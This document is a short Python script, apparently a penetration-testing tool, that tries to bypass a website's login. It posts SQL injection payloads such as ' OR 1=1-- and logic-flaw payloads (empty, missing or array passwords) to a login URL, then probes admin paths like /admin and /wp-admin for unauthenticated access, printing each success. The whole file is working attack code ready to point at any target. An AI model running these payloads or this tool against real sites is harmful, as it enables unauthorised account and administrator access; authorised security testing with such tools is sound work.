Authentication Bypass

#!/usr/bin/env python3
"""
Authentication Bypass Tester
Tests common auth bypass techniques
"""
import requests
import sys
from urllib.parse import urljoin

# SQLi bypass payloads
SQLI_PAYLOADS = [
    ("admin'--", "anything"),
    ("admin'#", "anything"),
    ("' OR '1'='1'--", "' OR '1'='1'--"),
    ("' OR 1=1--", "anything"),
    ("admin') OR ('1'='1", "anything"),
    ("admin'/*", "anything"),
]

# Logic bypass payloads
LOGIC_PAYLOADS = [
    {"username": "admin", "password": ""},
    {"username": "admin"},  # Missing password
    {"username": "admin", "password[]": ""},
    {"username": "admin", "password": "0"},  # Type juggling
]

def test_sqli_bypass(url, username_field="username", password_field="password"):
    """Test SQL injection auth bypass"""
    print("[*] Testing SQLi auth bypass...")
    
    for user, passwd in SQLI_PAYLOADS:
        try:
            response = requests.post(
                url,
                data={username_field: user, password_field: passwd},
                allow_redirects=False,
                timeout=10
            )
            
            # Check for successful login indicators
            if response.status_code in [302, 303]:
                location = response.headers.get('Location', '')
                if 'dashboard' in location or 'admin' in location or 'home' in location:
                    print(f"[+] BYPASS SUCCESSFUL! User: {user}")
                    return True
            
            if 'logout' in response.text.lower() or 'welcome' in response.text.lower():
                print(f"[+] BYPASS SUCCESSFUL! User: {user}")
                return True
                
        except Exception as e:
            continue
    
    return False

def test_logic_bypass(url):
    """Test logic flaw auth bypass"""
    print("[*] Testing logic flaw bypass...")
    
    for payload in LOGIC_PAYLOADS:
        try:
            response = requests.post(url, data=payload, allow_redirects=False, timeout=10)
            
            if response.status_code in [302, 303]:
                location = response.headers.get('Location', '')
                if 'login' not in location and 'error' not in location:
                    print(f"[+] LOGIC BYPASS! Payload: {payload}")
                    return True
        except:
            continue
    
    return False

def test_forced_browsing(base_url):
    """Test direct access to protected pages"""
    print("[*] Testing forced browsing...")
    
    protected_paths = [
        '/admin', '/dashboard', '/admin/users', '/api/admin',
        '/internal', '/manager', '/console', '/admin.php',
        '/wp-admin', '/administrator'
    ]
    
    found = []
    for path in protected_paths:
        try:
            url = urljoin(base_url, path)
            response = requests.get(url, allow_redirects=False, timeout=5)
            
            if response.status_code == 200:
                print(f"[+] Accessible without auth: {url}")
                found.append(url)
            elif response.status_code in [403, 401]:
                print(f"[*] Protected: {url}")
        except:
            continue
    
    return found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <login_url>")
        print(f"Example: {sys.argv[0]} http://target.com/login")
        sys.exit(1)
    
    login_url = sys.argv[1]
    base_url = '/'.join(login_url.split('/')[:3])
    
    print(f"[*] Testing authentication bypass on {login_url}")
    print("=" * 50)
    
    test_sqli_bypass(login_url)
    test_logic_bypass(login_url)
    test_forced_browsing(base_url)